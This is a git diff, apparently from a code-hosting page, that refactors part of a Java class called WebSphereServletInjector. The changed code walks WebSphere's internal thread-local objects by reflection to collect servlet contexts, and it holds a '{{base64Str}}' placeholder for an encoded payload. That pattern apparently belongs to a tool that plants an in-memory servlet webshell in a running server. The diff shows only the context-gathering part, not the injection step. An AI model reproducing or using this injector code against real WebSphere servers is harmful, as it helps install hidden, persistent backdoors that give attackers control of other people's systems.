contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
|
||||
+10
-17
@@ -6,9 +6,7 @@ import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Properties;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -31,7 +29,7 @@ public class WebSphereServletInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
public WebSphereServletInjector() {
|
||||
List<Object> contexts = null;
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
@@ -69,27 +67,22 @@ public class WebSphereServletInjector {
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Object context;
|
||||
Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||
Object[] wsThreadLocals = (Object[]) obj;
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||
for (Object wsThreadLocal : wsThreadLocals) {
|
||||
obj = wsThreadLocal;
|
||||
// for websphere 7.x
|
||||
if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
|
||||
Object[] stackList = (Object[]) getFieldValue(obj, "stack");
|
||||
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
|
||||
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
|
||||
for (Object stack : stackList) {
|
||||
try {
|
||||
Object config = getFieldValue(stack, "config");
|
||||
context = getFieldValue(getFieldValue(config, "context"), "context");
|
||||
contexts.add(context);
|
||||
contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
} else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||
context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
|
||||
contexts.add(context);
|
||||
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
|
||||
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
|
||||
Reference in New Issue
Block a user